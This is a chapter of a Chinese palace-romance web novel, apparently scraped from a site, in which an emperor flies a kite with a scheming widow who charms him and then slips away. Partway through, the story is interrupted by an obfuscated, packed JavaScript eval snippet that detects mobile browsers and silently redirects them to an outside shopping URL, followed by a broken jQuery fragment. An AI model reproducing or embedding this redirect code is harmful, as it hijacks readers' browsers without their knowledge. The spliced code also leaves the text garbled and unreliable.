宗政禹玉此道上着实有几分笨拙。
尝试了好几次,终于将风筝勉强放上了天,但他不得其法,风筝始终飞不高,就在比树梢的高一点的位置忽上忽下,时刻有坠落的风险。
姜云笙在旁边看得着急,一会儿跺脚一会儿叹气,最后忍无可忍实在看不下去了,便提着裙子小跑到他跟前,伸手帮他一块拉线。
春日里衣裳单薄,姜云笙一抬手宽袖就往下落,玉臂如酥。
她柔软细长的手指碰到他的,宗政禹呼吸紧了几分,他垂眸看向她发顶,眼神幽幽,可搅乱一池春水的人似乎并无所觉,她努力控制着手里的风筝线,想让那头拴着的风筝往她设想的方向飞。
“你慢慢往后退。”姜云笙侧头看了他一眼,又把注意力转回天上。
宗政禹听话地随着她的脚步慢慢往后退,姜云笙看着摇摇欲坠的风筝一点一点被她救起来,心头得意无比,她侧过头,正要跟宗政禹炫耀,就愣住了。
无他,实在是两人离得太近。
从知琴和陈义的方向看过去,姜云笙像是靠在宗政禹的胸前,而宗政禹的左臂不知什么时候竟从姜云笙身侧圈过来,竟像是将她揽入怀中了一般。
姜云笙这一侧头,看上去就像是回首在同身后的男人亲吻,距离近到彼此呼吸声清晰可闻。
姜云笙像刚意识到不妥,两颊腾地烧红,她惊慌地想躲开,脚下却不听使唤一般,左脚绊着右脚,整个人顿时就失去了平衡,往一侧倒去。
宗政禹眼疾手快,长臂一伸将人拦腰捞住:“当心!”
姜云笙惊魂未定地稳住身子,心跳得砰砰作响,好半天回不了神。
“没事吧,夫人?”宗政禹见她呆愣,想她是吓着了,轻轻出声安抚,“别怕,没事了。”
圈在她腰上的拇指无意识地挪动,眼神轻移间不经意扫过她身前,衣襟微松,束胸襦裙下的白皙柔嫩若隐若现。
宗政禹不动声色地又看了两眼才恋恋不舍地收回眼神。
而姜云笙似乎对此一无所知,她轻咬着下唇,低头看上圈在自己腰间的大掌,手指修长,骨节带了些薄茧,拇指滑动间带出阵阵痒意,而压在她腰侧的胳膊结实有力,隔着衣衫都能感受到他身上灼热的温度。
姜云笙手忙脚乱地将腰间的大手推下去,又胡乱旋身往前走了两步,匆匆拉开两人的距离,也不说话,只含羞带怯地瞪了宗政禹一眼便提着裙子跑开了,只掀起阵阵香风。
“皇上……”陈义等人走远了,才悄悄走上前来,见宗政禹还站着原地,嘴角含笑地盯着姜云笙背影消失的方向,他心下立时便有了计较。
宗政禹听见声音回头瞥了眼陈义:“朕什么时候送了六安瓜片过去?”
陈义心中有了计较,但面上不显,嘴里还惶恐地请罪:“皇上恕罪,奴婢想着咱们要在云隐寺多耽搁两日,咱们人手多,难免打扰到邻居,便学着寻常百姓那般给左邻右舍送了些茶叶过去表达歉意,想来是夫人误会了。”
“夫人?”宗政禹看着他的眼神有些凉。
陈义心中一紧,赶紧改口:“姜夫人误会以为是皇上的意思,奴婢一会儿去给姜夫人赔罪。”
宗政禹终于大发慈悲地放过他,收回不善的眼神,看着因为没人管理而坠落在树梢的风筝,将其小心收回来后,他才注意到风筝上的图案竟是一副美人春睡图。
陈义见自家主子如对待稀世珍宝一般将风筝拿在手里,心中惊讶自是不必多提。
“夫人,您没事吧?”知琴急匆匆追上去,面带忧色。
等转过拐角,再看不见桃林了,姜云笙才慢下步伐,方才还一脸娇羞的脸上粉意基本退却,眼神中也没片刻前的无措,她不紧不慢地拢了拢身前有些凌乱的衣襟,语气玩味:“我能有什么事?”
“您……”知琴的脑袋有些发懵。
姜云笙嘴角往上翘了翘,显然心情不错,她抬手遮在眼前,往天上望:“花也赏了,风筝也放了,知琴,咱们下山吧。”
知琴本来还想问问方才那人是谁,一听姜云笙说下山,立即被转移了注意力,忙不迭地应下:“诶,奴婢这就去收拾行囊,咱们吃了饭再走。”
姜云笙却摇头:“咱们立刻就走。”
两人是骑马上的山,这会儿太阳晒了半日,路上的泥泞减少了许多,骑马下去不成问题。
而被她丢在原地的宗政禹,则拿着风筝回了莲华院,素来勤政的帝王竟然将桌上的奏折全部推至一侧,专心侍弄起了面前的风筝。
只见他手里拿着一把寒光逼人的匕首,小心翼翼地将粘在竹骨上的画揭下来铺平在桌上,他盯着画上躺在桃树上小憩的美人看了半响,然后才拈了朱笔在一侧的空白处提上诗句。
“陈义。”
“皇上。”陈义站在门口,一听到传唤声立马步入屋内。
“武夷山的大红袍你送些过去。”送给谁自然是不言而喻。
陈义有些为难:“皇上,大红袍只带了您喝的,若是赏给姜夫人,您……”
宗政禹抬眸看了他一眼:“都送过去。”
陈义只得应下:“是,奴婢这就去。”
他刚退了两步,又听宗政禹说:“让人回宫把蓬莱殿收拾出来。”
宫中后妃不多,皇后之下有贤妃、淑妃、德妃,除此之外便只有一位美人一位御女。
宗政禹登基之初,嫌后妃吵闹,着人安排寝殿时刻意挑选了离紫宸殿远的宫室,就连皇后都被安置在太液池北边的含凉殿,而此刻他却发话让人收拾位于紫宸殿后边儿的蓬莱殿,陈义想到此处,脚下的步伐又加快了几分。
“夫人,咱们走得急,都没同莲华院的贵客道别,会不会有些失礼?”知琴想着方才姜云笙还和别人一块儿放风筝,这会儿却说走就走,总觉得有些奇怪。
姜云笙懒洋洋地坐在马背上,往山下走的速度着实称不上快:“风筝都放出去了,还留着干嘛?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177201|196913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“夫人,莲华院的贵客……”知琴想说什么,但又不知该从何说起。
姜云笙自然知道她担心自己,侧头同她挑眉一笑:“我心里有数。”
知琴同她一块长大,对她的脾性自然了解,回想这两日她的古怪之处,知琴终于后知后觉察觉到些异常:“夫人,您同那位贵客……”
姜云笙并不意外她能看出什么,也并未打算一直瞒着她:“我不是说过,我自己也能找个比韩寄长得俊,比他活得长,还比他有前途的男人。”
“难道那位郎君的身份当真十分尊贵?”知琴脸上立即露出几分好奇。
姜云笙嘴角上扬,她看着远处山头白云投下的阴影,心情十分美妙:“贵不可言。”
“那就好,那位贵客长得倒是十分俊朗,若是身份不高,那可配不上您。”听姜云笙说完,知琴总算放下心来,也不问姜云笙如何得知别人身份的,大言不惭地就开始点评起来。
而亲自捧着茶叶罐子上门送礼的陈义就一点都笑不出来了。
“老人家,这里住着的客人呢?”陈义到的时候院中除了一个扫地的老媪并未见到其他人的身影,他心中顿时就咯噔一下。
老媪是山下村子里的人,受雇于寺庙,专门打扫女眷住宿的地方,她耳朵有些背,听到声音转过身来:“什么?”
“这里住着的贵客呢?”陈义看她侧着耳朵的动作,拔高声音又问了一遍。
老媪听清楚了:“你是说那位夫人吧,她方才带着婢女下山去了。”
陈义心头一凉,他不死心地又问了一句:“那位夫人可有留下什么话?”
老媪的嗓门不小:“不曾留下什么话,匆匆忙忙地就走了,连东西都落下了,我都没追上。”
“什么东西?”陈义死到一半的心又复活了。
老媪从怀中掏出一方粉色帕子,角落上绣了一朵白云:“这是我方才整理内室的时候捡到的,看样子不便宜,本来打算还给那位夫人的,谁知她们骑马走远了。”
陈义从腰带里摸出一角碎银子递到老媪手中:“帕子给我吧,那位夫人同我家主子是旧相识。”
帕子拿到手中,陈义也不敢在此多耽搁,脚步略显沉重地就回了莲华院,倒是守门的侍卫看着他原封未动的茶叶罐子面露惊奇。
“皇上。”宗政禹还如陈义走时一般坐在桌后,面前是那张从风筝上揭下来的画,看着宗政禹眼神不错地盯着画,陈义心中有些打鼓。
“夫人又给什么回礼了?”宗政禹闻声抬头,连目光都亮了几分。
陈义心中越发忐忑了,为了保命先把手中的帕子呈上去:“皇上,夫人想必是遇到了急事,带着婢女匆匆下山去了,临走时连手帕都落下了。”
宗政禹语气微顿,他伸手接过帕子,手指在上面轻轻摩挲了几息,却并未露出陈义料想的怒容,反而唇角露出了几分笑意:“陈义,夫人住在何处,时常往哪些地方去,天黑之前,给朕个分明。”